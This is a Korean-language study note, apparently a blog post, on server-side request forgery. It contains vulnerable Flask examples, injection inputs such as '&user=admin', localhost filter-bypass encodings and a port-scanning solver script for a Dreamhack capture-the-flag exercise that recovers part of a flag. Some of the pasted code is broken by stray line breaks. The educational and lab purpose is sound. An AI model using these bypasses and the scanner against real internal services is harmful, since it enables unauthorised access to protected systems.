

02/21) SSRF - Serverside Request Forgery (1)

Server Side Request Forgery

클라이언트-서버 뿐 아니라 서버와 서버 사이에도 HTTP 통신이 이루어짐.

요즘에는 웹 서버력값이 포함되어 공격당할 수 있음.

SSRF는 웹 서비스의 권한으로 변조된 요청을 보내는 것. (->CSRF)

마이크로 서비스는 주로 HTTP, GRPC 등을 사용해 API 통신

언어별 HTTP 라이브러리

- php: `php-curl`
- python : `urllib` , `regeusts`
- NodeJS : `http`

SSRF가 일어나는 원리

웹 서비스의 내부망 기능 - 백오피스 서비스

백오피스 서비스란 외부에서 접근할 수 없는 내부망 기능으로, 특정 이용자의 계정을 정지시키는 등의 관리자 권한을 모두 구현한 서비스.

웹 서비스는 이 백오피스 서비스에게 요청을 보낼 수 있음.

만약 이 요청에 이용자의 입력값이 포함되어 있다면, 공격자가 입력값을 변조하여 웹 서비스의 권한으로 내부망에 접근할 수 있게 됨.

- 웹 서비스가 이용자가 입력한 URL에 요청을 보내는 경우
- 요청을 보낼 URL에 이용자 번호 같은 내용이 표시되는 경우
- 이용자가 입력한 값이 HTTP body에 포함되는 경우

예시1

이용자가 입력한 URL에 요청을 보내는 경우

```

from flask import Flask, request
import requests

app = Flask(__name__)

# 이용자가 입력한 url에 get 요청 보내는 페이지
@app.route("/image_downloader")
def image_downloader():
    image_url = request.args.get("image_url", "")
    response = request.get(image_url)
    return (
        response.content,
        200,
        {"Content-Type" : response.headers.get("Content-Type", "")})

@app.route("/request_info")
def request_info():
    # 접속한 브라우저의 정보 출력하는 페이지
    return request.user_agent.string

app.run(host="127.0.0.1", port=8000)

```

문제점

`http://127.0.0.1:8000/image_downloader?image_url=http://127.0.0.1:8000/request_info`

위와 같이 image_downloader 엔드포인트의 image_url 인자에 request_info 엔드포인트 경로를 입력하면 브라우저 보여주는 페이지에 HTTP 요청을 보냄.
 브라우저로 접속 시와 달리 `python-requests/<LIBRARY_VERSION>` 을 출력
 -> 웹 서비스에서 요청을 보냈기 때문.

예시2

웹 서비스의 요청 URL에 이용자 입력값이 포함되는 경우

```

INTERNAL_API = "<http://api.internal/>"
# INTERNAL_API = "<http://172.17.0.3/>"

# user_idx를 받아서 api 경로에 보냄
@app.route("/v1/api/user/information")
def user_info():
    user_idx = request.args.get("user_idx", "")
    response = requests.get(f"{INTERNAL_API}/user/{user_idx}")

# user_name 값을 내부 API 쿼리로 사용
@app.route("/v1/api/user/search")
def user_search():
    user_name = request.args.get("user_name", "")
    user_type = "public"
    response = requests.get(f"{INTERNAL_API}/user/search?user_name={user_name}&user_type={user_type}")

```

문제점

Path Traversal

이용자가 user_info의 user_idx에 `../search` 와 같은 값을 입력 시

`http://api.internal/search` 에 요청을 보냄

\# 문자 이용

user_search 함수에서 user_name에 `secret&user_type=private#` 을 입력하면 `#` 문자 때문에 뒤의 user_type이 API 경로에서 생략됨

예시 3

웹 서비스의 요청 Body에 이용자의 입력값이 포함되는 경우

```

from flask import Flask, request, session
import requests
from os import urandom

```

```

app = Flask(__name__)
app.secret_key = urandom(32)
INTERNAL_API = "<http://127.0.0.1:8000/>"
header = {"Content-Type": "application/x-www-form-urlencoded"}

# 입력값을 HTTP body에 포함, 내부 API로 요청 보냄
# 세션 정보는 guest 계정으로 설정
@app.route("/v1/api/board/write", methods=["POST"])
def board_write():
    session["idx"] = "guest"
    title = request.form.get("title", "")
    body = request.form.get("body", "")
    data = f"title={title}&body={body}&user={session['idx']}"
    response = requests.post(f"{INTERNAL_API}/board/write",
                              headers=header, data=data)
    return response.content

# board_write 함수에서 요청하는 내부 API 구현
# form 데이터를 json 형식으로 바꾸기
@app.route("/board/write", methods=["POST"])
def internal_board_write():
    title = request.form.get("title", "")
    body = request.form.get("body", "")
    user = request.form.get("user", "")
    info = {
        "title": title,
        "body": body,
        "user": user, }
    return info

# board_write를 호출하기 위한 페이지
# form 입력 시 board_write 기능 호출됨
@app.route("/")
def index():
    return ""

```

```

    <form action="/v1/api/board/write" method="POST"> <inp
ut type="text" placeholder="title" name="title"/><br/> <inp
ut type="text" placeholder="body" name="body"/><br/> <input
type="submit"/>
    </form> ""

app.run(host="127.0.0.1", port=8000, debug=True)

```

문제점

data 구성 시 이용자의 입력값을 이용해 설정하므로, 구분자인 `&` 을 이용해서 data 값 변조 가능.

```
title&user=admin
```

내부 API에서는 전달받은 값 파싱할 때 앞에 존재하는 파라미터 가져옴

Exercise: web-ssrf

- GET: imb_viewer.html을 렌더링
- POST: 이용자가 입력한 url에 get 요청을 보내고, 응답을 img_viewer.html의 인자로 보내 렌더링

```

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        # url이 /로 시작할 경우
        if url[0] == "/":
            url = "<http://localhost:8000>" + url

        # 서버주소에 localhost가 포함된 URL로의 접근 방지
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" i
n urlp.netloc):
            data = open("error.png", "rb").read()

```

```

        img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=i
mg)

    try: #url에 get 요청 보내고 base64로 받아오기
        data = requests.get(url, timeout=3).content
        img = base64.b64encode(data).decode("utf8")
    except:
        data = open("error.png", "rb").read()
        img = base64.b64encode(data).decode("utf8")
    return render_template("img_viewer.html", img=img)

```

run_local_server

파이썬 기본 모듈 http를 이용해 127.0.0.1의 임의 포트에 HTTP 서버 실행

(포트는 1500~1800 사이 랜덤)

http.server.HTTPServer의 두 번째 인자로 http.server.SimpleHttpRequestHandler를 전달하면, 현재 디렉터리 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성

```

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
# http 요청을 처리하기 위한 웹 서버 제공
local_server = http.server.HTTPServer(
    (local_host, local_port),
    # 정적 파일 제공하기 위한 핸들러
    http.server.SimpleHttpRequestHandler
)

# 서버 실행 및 대기
def run_local_server():
    local_server.serve_forever()

threading._start_new_thread(run_local_server, ())

```

URL 필터링 우회

URL 필터링: 서버 주소에 localhost가 들어간 경우의 URL로 접근 막아놓음

1. 127.0.0.1과 매핑된 도메인 이름 사용

도메인 이름을 구매해 DNS 서버에 등록후 127.0.0.1과 연결하고 그 이름을 url로 사용하면 필터링 우회 가능. 혹은 이미 127.0.0.1에 매핑된 "*.vcap.me"를 이용할 수 있음.

*.vcap.me란?

: 로컬 개발 및 테스트 목적으로 사용되는 도메인으로, 특정 서비스나 서버에 대해 가상 호스트를 만들어주는데 사용.

2. 127.0.0.1의 alias 이용

127.0.0.1을 다르게 표기하는 법

- 16진수로 표기: `0x7f.0x00.0x00.0x01`
- 위에서 .을 제거하기: `0x7f000001`
- 10진수로 풀어쓰기: `2130706433`
- 각 자리에서 0 생략: `127.1`, `127.0.1`
- 루프백: 127.0.0.1 ~ 127.0.0.255까지는 루프백(loop-back)주소로, 모두 로컬 호스트 의미

3. localhost의 alias 이용

URL에서 호스트와 스키마는 대소문자 구별x

따라서 localhost의 아무 문자나 대문자로 바뀌어도 같음.

예시

```
<http://vcap.me:8000/>
<http://0x7f.0x00.0x00.0x01:8000/>
<http://0x7f000001:8000/>
<http://2130706433:8000/>
<http://Localhost:8000/>
<http://127.0.0.255:8000/>
```

포트 번호 찾기

```
#!/usr/bin/python3import
requestsimport sys
# tqdm은 진행률을 보여주는 모듈
```

```

from tqdm import tqdm
# 에러 났을 때 보여주는 error.png의 base64 일부분
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text

def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"<http://localhost>:{port}"
        # 만약 error 사진이 뜨지 않는다면 포트 번호 찾은 것
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port

if __name__ == "__main__":
    # 두 번째 인자(sys.argv[1])에 가상서버 포트번호를 받아옴
    chall_port = int(sys.argv[1])
    chall_url = f"<http://host1.dreamhack.games>:{chall_port}/img_viewer"
    internal_port = find_port()

```

- 포트 번호 찾기

```

C:\Users\PRO\바탕 화면\공부\python>python hack.py 18838
1%|  | 2/301 [00:01<03:43, 1.34it/s]
internal port number is : 1502
1%|  | 2/301 [00:01<03:46, 1.32it/s]

```

- img_viewer에다가 포트번호 1502 경로를 보내면 flag.txt를 base64로 인코딩한 결과가 나옴(작업경로가 /app이고 현재 디렉토리를 기준으로 리소스 반환)

```

="data:image/png;base64, REh7...0NzVhN2YzYmQxMTQ1NmExN2FkNzF9"> == $0
thod="POST"> </form>

```

- img_viewer에다가 포트번호 1502로 접근할 수 있는 flag.txt 경로 전달한 것

